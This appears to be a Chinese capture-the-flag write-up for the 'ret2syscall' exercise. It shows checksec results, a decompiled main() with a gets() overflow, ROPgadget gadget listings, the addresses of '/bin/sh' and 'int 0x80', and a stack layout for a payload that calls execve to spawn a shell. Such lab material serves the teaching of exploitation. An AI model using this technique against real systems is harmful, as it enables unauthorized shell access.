sakura@Kylin:~/下载/ret2syscall$ file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped sakura@Kylin:~/下载/ret2syscall$ checksec rop [*] '/home/sakura/下载/ret2syscall/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看到,这是一个 32 位程序,并且只开启了 NX 保护机制。
0x2
再拖进 IDA 中看看源码。
1 2 3 4 5 6 7 8 9 10 11
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return0; }
sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop --only 'pop|ret' | grep 'pop' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809d7b2 : pop ds ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d5 : pop ebp ; pop esi ; pop edi ; ret 0x0804838e : pop ebp ; ret 0x080a9a45 : pop ebp ; ret 0x10 0x08096a29 : pop ebp ; ret 0x14 0x08070d76 : pop ebp ; ret 0xc 0x0804854a : pop ebp ; ret 4 0x08049c00 : pop ebp ; ret 8 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0804838d : pop edi ; pop ebp ; ret 0x080a9a44 : pop edi ; pop ebp ; ret 0x10 0x08096a28 : pop edi ; pop ebp ; ret 0x14 0x08070d75 : pop edi ; pop ebp ; ret 0xc 0x08048549 : pop edi ; pop ebp ; ret 4 0x08049bff : pop edi ; pop ebp ; ret 8 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0805c508 : pop edi ; pop esi ; ret 0x0804846f : pop edi ; ret 0x08049a1b : pop edi ; ret 4 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0806eb6a : pop edx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080671ea : pop es ; pop edi ; ret 0x0806742a : pop es ; ret 0x08092259 : pop esi ; pop ebp ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x0804838c : pop esi ; pop edi ; pop ebp ; ret 0x080a9a43 : pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a27 : pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d74 : pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048548 : pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfe : pop esi ; pop edi ; pop ebp ; ret 8 0x0804846e : pop esi ; pop edi ; ret 0x08049a1a : pop esi ; pop edi ; ret 4 0x08049a95 : pop esi ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080bb146 : pop esp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret 0x080639f9 : pop ss ; ret 0x2c73 0x080643ba : pop ss ; ret 0x3273 0x080639e4 : pop ss ; ret 0x3e73 0x080643a0 : pop ss ; ret 0x4c73 0x080639cf : pop ss ; ret 0x5073 0x080639ba : pop ss ; ret 0x6273 0x08064386 : pop ss ; ret 0x6673 0x08061f05 : pop ss ; ret 0x830f
我们分别选择以下指令来布置寄存器:
1 2
0x080bb196 : pop eax ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
此外,我们需要获得 /bin/sh 字符串对应的地址 和 int 0x80 对应的地址
1 2 3 4 5 6 7 8 9 10
sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop --string '/bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80
Unique gadgets found: 1
接下来就是构建payload了。
1 2 3 4 5 6 7 8 9 10 11
|+————————+| |+aaaaaaaa+| |+........+| |+aaaaaaaa+| |+pop eax; ret+| |+0xb+| |+pop edx; pop ecx; pop ebx; ret+| |+0x0+| |+0x0+| |+/bin/sh+| |+int 0x80+|